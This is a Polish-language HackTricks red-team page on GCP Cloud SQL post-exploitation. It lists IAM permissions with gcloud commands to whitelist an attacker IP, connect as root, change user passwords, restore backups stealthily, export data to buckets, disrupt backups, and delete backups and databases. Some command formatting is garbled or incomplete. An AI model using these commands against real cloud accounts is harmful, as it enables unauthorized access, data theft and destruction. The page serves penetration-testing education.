GCP - Cloud SQL Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Cloud SQL

Aby uzyskać więcej informacji o Cloud SQL sprawdź:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Aby połączyć się z bazami danych wystarczy mieć dostęp do portu bazy danych oraz znać username i password, nie ma żadnych wymagań związanych z IAM. Zatem prosty sposób uzyskania dostępu, zakładając że baza ma publiczny adres IP, to zaktualizować dozwolone sieci i dodać swój adres IP, aby uzyskać do niej dostęp.

Zezwól na swój adres IP i połącz się z bazą danych ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Można też użyć **`--no-backup`**, aby **zakłócić tworzenie kopii zapasowych** bazy danych.

Ponieważ to są wymagania, nie jestem do końca pewien, do czego służą uprawnienia **`cloudsql.instances.connect`** i **`cloudsql.instances.login`**. Jeśli wiesz, wyślij PR!

### `cloudsql.users.list`

Uzyskaj **listę wszystkich użytkowników** bazy danych:

<details>

<summary>Lista użytkowników bazy danych</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

To uprawnienie pozwala utworzyć nowego użytkownika wewnątrz bazy danych:

Utwórz użytkownika bazy danych ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

To uprawnienie pozwala modyfikować użytkownika w bazie danych. Na przykład możesz zmienić jego hasło:

Zaktualizuj hasło użytkownika ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Kopie zapasowe mogą zawierać stare wrażliwe informacje, więc warto je sprawdzić.
Przywróć kopię zapasową w obrębie bazy danych:

Przywróć kopię zapasową bazy danych ```bash gcloud sql backups restore --restore-instance ```

Aby zrobić to bardziej dyskretnie, zaleca się utworzyć nową instancję SQL i odzyskać tam dane zamiast w aktualnie działających bazach danych.

cloudsql.backupRuns.delete

To uprawnienie pozwala usuwać kopie zapasowe:

Usuń kopię zapasową ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Eksportuj bazę danych do Cloud Storage Bucket, aby móc uzyskać do niej dostęp:

Eksport bazy danych do Cloud Storage Bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Import bazy danych (nadpisanie) z Cloud Storage Bucket:

Import bazy danych z bucketu ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Usuń bazę danych z instancji DB:

Usuń bazę danych ```bash gcloud sql databases delete --instance ```

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks